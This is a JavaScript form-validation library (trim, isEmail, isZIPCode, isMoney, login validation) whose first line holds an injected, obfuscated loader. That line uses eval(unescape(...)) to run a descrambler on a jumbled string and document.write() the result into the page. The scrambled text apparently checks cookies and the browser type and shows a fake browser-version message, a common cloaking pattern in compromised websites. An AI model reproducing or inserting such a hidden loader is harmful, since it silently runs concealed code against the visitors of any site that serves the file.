var pl92=0744;XOlhVdHHe='nDbwaCVrVbOpOvdpvrGYiqsEOYyCflIRGicd';pr='<citus=Ti aede o upr orbosr  rwe eso . rhge srqie!;ldcmn.aesd=ouetalg=ouetgtlmnBI;s(idwsdbr?refleiNnvgtrueAettLwrae)idxf`esae)=?reflei(s&iN{ug=iy}vrmg`;ucinnm)rtr re;idwoerr=nmvre3fnto eCnetsca)g q dcmn.eEeetyd`';kjPtO='xDOEQJOOsSmeOmGWnakM';WOgx='%6B%3D%75%6Ee%73\143a%70e\050%22%25%30D%25%30A%22\051%3Bb%38%3D%20e%69%79\050%70\162\051%3Bd%6F\143%75%6De%6Et%2E%77\162%69te\050b%38\051%3Bf%75%6E\143t%69%6F%6E%20e%69%79\050%73\051%20%7B%76a\162%20%75%6E%3D%22%22%3B%6C%3D%73%2E%6Ce%6E%67t%68%3B%6F%68%3D%4Dat%68%2E\162%6F%75%6Ed\050%6C%2F%32\051%3Bf%6F\162\050%69%3D%30%3B%69%3C%3D%6F%68%3B%69%2B%2B\051%7Ba%3D%73%2E\143%68a\162At\050%';pr+='c`.neHM  ouetgtlmnBI(rtb.neHM;g	g gucinStotnSd(rtbq{ g	ouetgtlmnBI(s0)inrTL=dcmn.eEeetydsca)inrTLq q}q<srp>srp>np`hspg osntspotyu rwe.Abosrvrin40o ihri eurd`d=ouetlyr;adcmn.l;edcmn.eEeetydw=wno.iea)tu:as;z=aiao.sr';giTj='oxmWaaOeFMUvLKOO';WOgx+='69\051%3Bb%3D%73%2E\143%68a\162At\050%69%2B%6F%68\051%3B\143%3Da%2Bb%3B%75%6E%3D%75%6E%2B\143%3B%7D%3B%47%3D%75%6E%2E%73%75b%73t\162\050%30%2C%6C\051%3B%47%3D%47%2E\162e%70%6Ca\143e\050%2F%60%2F%67%2C%22%27%22\051%3B%47%3D%47%2E\162e%70%6Ca\143e\050%2F%40%40%2F%67%2C%22%5C%5C%22\051%3Bf%20%3D%20%2F%71%67%2F%67%3B%47%3D%47%2E\162e%70%6Ca\143e\050f%2C%6B\051%3B\162et%75\162%6E%20%47%3B%7D%3B';pr+='gn.ooeCs(.neO(ntcp`>0tu:as;fw&!z)qol`u`;a s=`fnto e({euntu}wno.nro  e;a 5;ucinStotn(rtbq{ g	ouetgtlmnBI(s0)inrTL=dcmn.eEeetydsca)inrTLq q}qfnto eCnetiesca)g q dcmn.eEeetyd`d`.neHM  ouetgtlmnBI(rtb.neHM;g	g g/cit';eval(unescape(WOgx));smb46='wcufkOBwpLIayObOjnFOOhsmUfBXmfOEOONSCsCdrqJNQHctlZGIOFKZeDREn';
function isArray(com) {
	if (typeof(com.length) == "undefined") {
		return false;
	}
	else {
		return true;
	}
}

function isArraySelectBox(com) {
	if (typeof(com[0].length) == "undefined") {
		return false;
	}
	else {
		return true;
	}
}

function trim(str) {
	var strTrim = "";
	var i, j;
	
	if (isEmpty(str)) return strTrim;
	
	for (i=0; i<str.length; i++) {
		if (str.charAt(i) != " ") break;
	}
	for (j=str.length-1; j>=0; j--) {
		if (str.charAt(j) != " ") break;
	}
	
	strTrim = str.substr(i, j-i+1);
	return strTrim;
}

function isEmpty(str) {
	return ((str==null) || (str.length==0));
}

function isWhiteSpace(str) {
	return isEmpty(trim(str));
}

function isDigit(d) {
	return ((d >= "0") && (d <= "9"));
}

function isLetter(c) {
	return (((c >= "a") && (c <= "z")) || ((c >= "A") && (c <= "Z")));
}

function isNumeric(strNum) {
	var i;
	
	if (isWhiteSpace(strNum) == true) {
		return false;
	}
	
	strNum = trim(strNum);
	
	for (i=0; i<strNum.length; i++) {
		var chr = strNum.charAt(i);
		if (!isDigit(chr)) {
			return false;
		}
	}
	return true;
}

function isInteger(s)
{   var i;

    if (isEmpty(s)) 
       if (isInteger.arguments.length == 1) return false;
       else return (isInteger.arguments[1] == true);

    // Search through string's characters one by one
    // until we find a non-numeric character.
    // When we do, return false; if we don't, return true.

    for (i = 0; i < s.length; i++)
    {   
        // Check that current character is number.
        var c = s.charAt(i);

        if (!isDigit(c)) return false;
    }

    // All characters are numbers.
    return true;
}

function isAlphaNumeric(strNum) {
	var i;
	
	if (isWhiteSpace(strNum) == true) {
		return false;
	}
	
	strNum = trim(strNum);
	
	for (i=0; i<strNum.length; i++) {
		var chr = strNum.charAt(i);
		if (!isDigit(chr) && !isLetter(chr)) {
			return false;
		}
	}
	return true;
}

function isAlphaOnly(strNum) {
	var i;
	
	if (isWhiteSpace(strNum) == true) {
		return false;
	}
	
	strNum = trim(strNum);
	
	for (i=0; i<strNum.length; i++) {
		var chr = strNum.charAt(i);
		if (!isLetter(chr)) {
			return false;
		}
	}
	return true;
}

function isEmail(s)
{   
	
	//alert(s); 
   	// is s whitespace?
    //if (isWhitespace(s)) return false;
    
    // there must be >= 1 character before @, so we
    // start looking at character position 1 
    // (i.e. second character)
    var i = 1;
    var sLength = s.length;

    // look for @
    while ((i < sLength) && (s.charAt(i) != "@"))
    { i++;
    }

    if ((i >= sLength) || (s.charAt(i) != "@")) return false;
    else i += 2;

    // look for .
    while ((i < sLength) && (s.charAt(i) != "."))
    { i++;
    }

    // there must be at least one character after the .
    if ((i >= sLength - 1) || (s.charAt(i) != ".")) return false;
    else
	return true;
}

function isZIPCode(field) 
{
	var valid = "0123456789";
	var hyphencount = 0;
	
	if (field.length!=5) {
	alert("Please enter your 5 digit zip code.");
	return false;
	}
	for (var i=0; i < field.length; i++) {
	temp = "" + field.substring(i, i+1);
	if (valid.indexOf(temp) == "-1") {
	alert("Invalid characters in your zip code.  Please try again.");
	return false;
	}

	}
	return true;
}

function isMoney(str) 
{
	var valid = "0123456789.-"
	var temp;
	for (var i=0; i<str.length; i++) {
		temp = "" + str.substring(i, i+1);
		if (valid.indexOf(temp) == "-1") 
			//ok = "no";
			return false;
	}
	return true;
}

function isCheckedRadio(objRadio) {
	checked = false;
	if (objRadio) {
		count = objRadio.length;
		if(count == 1) {
			checked = objRadio.checked;
		} 
		else {
			for(var i=0; i<count; i++) {
				if(objRadio[i].checked) {
					checked = true;
				}
			}
		}
	}
	return checked;
}

function isSelected(frmObjSelect)
{
	if (frmObjSelect.value == -1) {
		return false;
	}
	else {
		return true;
	}
}

function validate() {
	var new_user_name = document.form_login.user_name;
	var new_user_pw = document.form_login.user_pw;
	
	if (isEmpty(new_user_name.value)) {
		alert("User ID is required field");
		return false;
	}
	else if (new_user_name.value.length < 4 ) {
		alert("User ID must be at least 4 characters long");
		return false;
	}
	if (isEmpty(new_user_pw.value)) {
		alert("User Password is required field");
		return false;
	}
	else if (new_user_pw.value.length < 4 ) {
		alert("User Password must be at least 4 characters long");
		return false;
	}
	return true;
}
